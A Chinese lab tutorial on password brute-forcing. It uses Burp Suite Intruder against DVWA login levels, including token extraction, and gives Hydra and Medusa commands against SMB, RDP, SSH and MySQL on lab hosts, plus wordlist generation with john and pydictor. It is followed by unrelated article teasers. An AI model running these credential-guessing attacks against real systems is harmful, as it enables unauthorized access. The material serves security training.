暴力破解笔记

1 暴力破解简介

暴力破解: 蛮力攻击,又称为穷举攻击,或暴力破解,将密码进行逐个尝试验证,直到尝试出真正的密码为止。

暴力破解是指采用反复试错的方法并希望最终猜对,以尝试破解密码或用户名或找到隐藏的网页,或者找到用于加密消息的密钥。

2 利用 Burpsuite 对 Web 应用进行暴力破解

2.1 实验界面

在暴力破解模块中输入用户名 admin,密码随之即可。先不要提交

开启代理

而后在暴力破解页面中提交。

2.2 抓包,点击 Send to intruder

点击 intruder---》Positions,在此界面中点击 Clear 把请求中的所有变量清除掉

我们需要对密码进行攻击,因此选中请求中的密码,点击 Add,把密码添加变量,表示只针对密码进行攻击。

2.3 Burpsuite 的 Intruder 模块

Inturder 模块可以将数据包里指定的参数设置成变量(变量也就是要准备攻击的目标),然后再利用字典文件去替换变量里的值,所以常用于自动化猜测或暴力破解过程中

Sniper 狙击手
攻击类型“Attack type”
Sniper:狙击手,可以指定多个变量同时进行破解,但只设置一个字典文件,将指定的变量挨个用字典内容进行替换。
Battering ram:攻城锤,可以指定多个变量,但仍只设置一个字典文件,将所有的变量一起用字典内容进行替换。
Ptichfork:草叉子,可以指定多个变量,但需要为每个变量分别设置一个字典文件,然后用对应的字典内容对变量同时进行替换。
Cluster bomb:集束炸弹,指定多个变量,并为每个变量分别设置一个字典文件,然后用字典内容组合对变量进行替换。
3载荷类型“Payload type”
Simple list:手动添加字典列表,也可以导入 Burpsuite 自带的字典,或者导入自定义的字典。
Runtime file:只能加载自定义的字典。
Numbers:设定一个数值范围,从范围内依次或随机取值进行测试。
Brute forcer:自己定义字符范围来生成字典文件。

payload type 选择 Runtime file,而指定密码字典并攻击

设置完成后,点击 开始攻击,查看暴力枚举结果:

得到密码:password,登录成功:

2.4 Low 级别

再选择第四种爆破(cluster bomb)的方式;

添加字典,开始字典爆破;

爆破成功

2.5 meduim 级别爆破

和 Low 级别爆破类似;前面的步骤与低级暴力破解步骤是一样的,不同的是,在点击 start attack 后,中级破解速度比初级要慢很多,因为有个 sleep 函数。破解完成之后也是会发现成功破解的字段长度是不同的,这就证明我们破解成功。

payload 选择 pitchfork

添加字典,开始字典爆破;

查看结果

2.6 high 级别爆破

我们查看 php 文件,发现增加了 user_token 参数,所以爆破要选择两个参数来进行。所以,我们这里不仅要爆破密码,还需要爆破用户令牌 user_token。

payload 选择 pitchfork

payload 1

Payload 2 设置为 递归;

线程设置为 1

Options

Grep-extract---add

Refetch reponse

复制 user_token

ok

粘贴到 payload options,开始爆破

爆破成功

3 hydra 工具在线破解密码

Hydra 对应的英文意思是九头蛇,它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web 登录、数据库、SSH、FTP 等服务,支持 Linux、Windows、Mac 平台安装,其中 Kali Linux 中自带 Hydra。

3.1 Hydra 破解 Windows 文件共享密码

在 Windows 系统当中,默认会启动一些文件共享,比如 C$ 或 ADMIN$(管理共享),而这些共

享是使用 smb 协议,因此我可以针对 smb 协议进行破解。

注:开启文件共享

在系统上确认一下是否有开启共享:

net share 命令可以查看 windows 有那些共享

Windows 2012 中开启文件共享之后在 Kali 中扫描 445 端口确保目标主机开启 455 端口

┌──(root㉿xuegod52)-[~] └─# nmap -p- 192.168.1.15

通过 john 工具生成简单的弱口令密码字典
┌──(root㉿xuegod52)-[~]
└─# john --wordlist --rules --stdout > pass.txt
hydra 命令参数:
-l #指定单个用户名称
-L #指定用户名称字典
-p #指定单个密码
-P #指定密码字典
-s #指定端口
-vV #显示详细的执行过程
破解 smb 文件共享密码
┌──(root㉿xuegod52)-[~]
└─# hydra -l administrator -P pass.txt smb://192.168.1.15 -vV

通过密码进行远程访问目标主机共享资源

在物理机或其他 windows 主机中打开运行窗口,开始菜单中点击运行,或者使用快捷键 Win+R \\192.168.1.15\c$

身份认证

发现可以正常访问,尝试一下创建文件或上传文件

删除记录访问的密码认证信息

3.2 Hydra 破解 windows 远程桌面密码

Windows 远程桌面使用的 rdp 协议,默认端口是 3389,系统中默认是没有开启远程桌面服务的,我这里是开启了

暴力破解远程桌面密码

┌──(root㉿xuegod52)-[~/桌面]
└─# hydra -l administrator -P pass.txt rdp://192.168.1.15 -vV

然后,用破解到的密码,在物理机远程桌面进行连接,在运行中输入 mstsc

远程连接成功。

3.3 Hydra 工具破解 ssh 协议密码

使用 hydra 工具进行破解 root 密码

┌──(root㉿xuegod52)-[~/桌面]

└─# hydra -l root -P pass.txt -t 4 ssh://192.168.1.24 -e nsr -vV -t

#通过-t 参数来指定线程数默认是 16 会造成服务器拒绝连接。 -e #-e 表示提供了更多测试选项。nsr 后面的字母对应更多的测试方式。 nsr 参数: n #是尝试空密码登录 s #是将用户名作为密码登录 r #是将用户名反过来作为密码登录。 如:用户名是 root,那么会使用 toor 尝试破解

4 Medusa 工具在线破解密码

4.1 Medusa 简介

在 Kali 中 Medusa 旨在成为一个迅速,大规模并行,模块化,爆破登录。目标支持大部分允许远程
登录的服务。以下是 Medusa 项目一些主要功能:
1、基于线程的并行测试。暴力测试可以同时对多个主机,用户或密码执行。
2、灵活的用户输入。目标信息(主机/用户/密码)可以用多种方式指定。例如,每个项目可以是单个
条目或包含多个条目的文件。另外,组合文件格式允许用户改进其目标列表。
3、模块化设计。每个服务模块都以独立的.mod 文件形式存在。这意味着核心应用程序不需要修改以
扩展支持的暴力服务列表。
官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。
软件下载地址:https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz
用法:Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M
module [OPT]
Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT]
medusa 命令选项:
-h [TEXT] #目标 IP
-H [FILE] #目标主机文件
-u [TEXT] #用户名
-U [FILE] #用户名文件
-p [TEXT] #密码
-P [FILE] #密码文件
-C [FILE] #组合条目文件
-O [FILE] #文件日志信息
-e [n/s/ns] #n 意为空密码,s 意为密码与用户名相同
-M [TEXT] #模块执行名称
-m [TEXT] #传递参数到模块
-d #显示所有的模块名称
-n [NUM] #使用非默认端口
-s #启用 SSL
-r [NUM] #重试间隔时间,默认为 3 秒
-t [NUM] #设定线程数量
-L #并行化,每个用户使用一个线程
-f #在任何主机上找到第一个账号/密码后,停止破解
-q #显示模块的使用信息
-v [NUM] #详细级别(0-6)
-w [NUM] #错误调试级别(0-10)
-V #显示版本
-Z [TEXT] #继续扫描上一次
-F #破解到一个正确的密码即退出

4.2 Medusa 工具破解 linux root 用户登录密码

┌──(root㉿xuegod52)-[~/桌面]
└─# medusa -M ssh -h 192.168.1.24 -e ns -F -u root -P pass.txt

4.3 Medusa 破解 Mysql root 用户登录密码

安装 MySQL:
[root@piloteer120 ~]# yum -y install mariadb-server
启动 MySQL:
[root@piloteer120 ~]# systemctl start mariadb
Mysql 授权 root 用户允许远程登录
[root@piloteer120 ~]# mysql -u root -ppiloteer
MariaDB [(none)]> grant all privileges on *.* to 'root'@'%'identified by 'root' with grant option;
MariaDB [(none)]> exit;
进行暴力破解
root@piloteer101:~# medusa -M mysql -h 192.168.1.24 -e ns -F -u root -P pass.txt

验证远程登录 mysql 数据库
root@piloteer101:~# mysql -uroot -proot -h192.168.1.24
MariaDB [(none)]> show databases;

5 字典工具 pydictor

5.1 pydictor 介绍

Pydictor 是字典构建工具,该工具提供了大量的特性,可以用来为几乎任何测试情况创建完美的字典。

5.2 pydictor 安装

┌──(root㉿xuegod52)-[~/桌面]
└─# git clone https://github.com/LandGrey/pydictor.git
正克隆到 'pydictor'...
remote: Enumerating objects: 1084, done.
remote: Counting objects: 100% (134/134), done.
remote: Compressing objects: 100% (50/50), done.
remote: Total 1084 (delta 89), reused 110 (delta 84), pack-reused 950
接收对象中: 100% (1084/1084), 23.63 MiB | 8.56 MiB/s, 完成.
处理 delta 中: 100% (673/673), 完成.
┌──(root㉿xuegod52)-[~/桌面]
└─# cd pydictor/                                                                         
┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# chmod +x pydictor.py

5.3 pydictor 生成字典

pydictor.py 参数说明:
-base 表示密码所使用的字符
-base 类型:
d digital [0 - 9] #数字
L lowercase letters [a - z] #小写字母
c capital letters [A - Z] #大写字母
-o #指定字典存放的位置

案例 1:生成全部由数字组成且长度为 3 到 6 的字典

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# python pydictor.py -base d --len 3 6

查看生成的字典:

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#vim results/base_210756.txt 

案例 2:使用数字、小写字母与大写字母 3 者组合的 2 到 3 位数的爆破字典,并把生成的字典存放在/opt/ pass1.txt

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -base dLc --len 2 3 -o /opt/pass1.txt

案例 3:使用特殊字符的自定义字符集字典

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -char '!@#$%^&*()_+* 0123456789' --len 3 5

案例 4:生成以 piloteer 开头,后面 4 位全为数字的字典

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─#python pydictor.py -base d --len 4 4 --head piloteer -o /opt/pass3.txt

案例 5:将一个目录下多个字典合并去掉重复的记录

┌──(root㉿xuegod52)-[~/桌面/pydictor]
└─# mkdir /tmp/pass
└─# python pydictor.py -base d --len 1 2 -o /tmp/pass/1.txt
└─#  python pydictor.py -base d --len 1 3 -o /tmp/pass/2.txt
└─#  echo 666666 >> /tmp/pass/1.txt
└─#  python pydictor.py -tool uniqbiner /tmp/pass/ #开始合并
└─#  vim /root/pydictor/results/uniqbiner_220300.txt

注:生成字典是非常耗时的一项工作,通常需要耗费数个小时。密码复杂度越高字典就越大耗时也会成倍的增加。

pydictor 字典工具拓展资料可参考:

pydictor/docs/doc/usage.md at master · LandGrey/pydictor · GitHub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/491707.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

yolov5+pyside6+登录+用户管理目标检测可视化源码

一、软件简介 这是基于yolov5目标检测实现的源码,提供了用户登录功能界面; 用户需要输入正确的用户名和密码才可以登录。如果是超级管理员,可以修改普通用户的信息,并且在检测界面的右上角显示【管理用户】按钮。 支持图片、视频、…

如何挑选品质较高的狗粮?

亲爱的狗友们,我们都知道,给狗狗选择一款高品质的狗粮是非常重要的。那么,如何在这琳琅满目的狗粮市场中挑选出最适合我们狗狗的优质狗粮呢?别担心,让我来给你支支招。 🐾 **1️⃣ 了解狗狗的营养需求** 首…

【JavaEE初阶系列】——多线程案例三——定时器

目录 🚩定时器是什么 🚩标准库中的定时器 🚩自定义定时器 🎈构造Task类 📝相对时间和绝对时间 🎈构造MyTime类 📝队列空和队列不为空 📝wait(带参)解决消耗资源问题 &#…

【面试经典150 | 动态规划】零钱兑换

文章目录 Tag题目来源解题思路方法一:动态规划 写在最后 Tag 【动态规划】【数组】 题目来源 322. 零钱兑换 解题思路 方法一:动态规划 定义状态 dp[i] 表示凑成总金额的最少硬币个数。 状态转移 从小到大枚举要凑成的金额 i,如果当前…

204基于matlab的图像融合

基于matlab的图像融合,包括三种方式,加权、PCA、IHS变换。比较三者融合后的图像差异。程序已调通,可直接运行。 204 matlab 图像融合 信息融合 - 小红书 (xiaohongshu.com)

便携式一体化气象站设备

TH-PQX7便携式一体化气象站设备是一种集多种气象监测仪器于一体的高科技装备,能够实现对温度、湿度、风速、风向、气压、降水量等关键气象要素的实时监测。该设备采用先进的传感器技术和数据处理技术,具有高精度、高可靠性、低功耗等特点,可广…

kubernetes-networkpolicies网络策略问题

kubernetes-networkpolicies网络策略问题 问题描述 重点重点重点,查看我的博客CKA考题,里面能找到解决方法 1.部署prometheus监控的时候,都部署成功,但是web访问503-504超时 2.添加ingress的时候也是访问不到,其他命…

matlab编译成jar包

1、输入deploytool命令 2、选择Library Compiler 3、配置打包 4、有效文件 5、java函数调用 package com.beescloud.frame.matlab;import com.mathworks.toolbox.javabuilder.MWException; import test.Class1;public class MatlabTest {public static void main(String[] arg…

我的创作纪念日 ---- 2024/3/26

前言 2024.3.26是我在CSDN成为创作者的第128天,也是我第一次真正在网上创作的第128天 当我还在日常创作时,突然发现我收到了一封信 我想我可以分享一下这段时间的感想以及收获 机缘 在CSDN的这段时间里,我学习到了很多知识,也…

Linux之时间子系统(四): tick 层模块(broadcast )

一、前言 在内核中,有cpuidle framework可以控制cpu的节电:当没有进程调度到该cpu上执行的时候,swapper进程粉墨登场,将该cpu会被推入到idle状态。当然CPU的idle状态有深有浅,当CPU睡的比较深入的时候,有可…

hadoop 查询hdfs资源信息的方式

hdfs dfsadmin -report [-live][-dead][-decommissioning]

跟张良均老师学大数据人工智能——数据挖掘集训营开营

集训营特色: 知识点深入浅出,实现以学促用 以业务内容为主线,数据挖掘技能嵌入 多行业项目实战,全面提升职业素养 全程线上辅导,助力熟练掌握技能 惊喜优惠: 限时“六折”! 师傅带练 方向…

芝麻云节点服务器:零知识加密与跨用户兼得

海量大数据是指数据量特别大、数据类别非常大的数据集,而这样的数据集无法使用传统的数据库工具进行捕获、管理和处理。 数据量太大,没有地方存放。 服务器硬盘能存储多少数据肯定无法满足如此大量的数据存储需求。 因此,分布式存储系统应运而…

Git常用指令使用

摘要:之前代码管理都是借助于fork、sourceTree等图形工具,最近发现直接用命令也好用,就总结Git常用的指令 1、Git的介绍 1.1 git官网 安装: Git - Downloading Packagehttps://git-scm.com/download/mac Mac上安装,直接使…

【WEEK5】 【DAY2】文件上传下载【中文版】

2024.3.26 Tuesday 目录 10.文件的上传和下载10.1.准备工作10.2.基础配置10.2.1.新建名为springmvc-08-file的module10.2.2.新建controller文件夹,applicationContext.xml文件 10.3.文件上传10.3.1.在本模块的pom.xml中导入文件上传的jar包:commons-file…

虎课网C4D软件系列课程

教程介绍 讲解C4D从0基础到精通,课程涵盖C4D的多边形建模,材质灯光,运动图形,效果器,并有实例教学。 学习地址 百度网盘:https://pan.baidu.com/s/1R9zampaH-KWH7Q6ZcPTrQQ?pwdxhlw

Embedding模型提升效果的方法之一:Whitening和pooling

0. 前言 Embedding模型的主流框架基本上分为三类——基于bert结构的,基于GPT结构的和基于T5结构的,当然这些结构都是Transformer的变形。对于Embedding模型,使用bert结构目前看是最好的。有篇论文论文对基于bert的Embedding模型和基于GPT的E…

How to convert .py to .ipynb in Ubuntu 22.04

How to convert .py to .ipynb in Ubuntu 22.04 jupyter nbconvertp2j 最近看到大家在用jupyter notebook,我也试了一下,感觉还不错,不过,也遇到了一些问题,比方说,我有堆的.py文件,如果要一个一…

STM32 使用gcc编译介绍

文章目录 前言1. keil5下的默认编译工具链用的是哪个2. Arm编译工具链和GCC编译工具链有什么区别吗?3. Gcc交叉编译工具链的命名规范4. 怎么下载gcc-arm编译工具链参考资料 前言 我们在STM32上进行开发时,一般都是基于Keil5进行编译下载,Kei…

C++STL学习之unordered_map与unordered_set(底层Hash)

前言:我们前面已经学习论map和set,现在又冒出来一个unordered_map和unordered_set,这两个有啥差别吗?前面我们已经说过,map和set的底层是红黑树,那unordered_map和unordered_set的底层是什么呢?…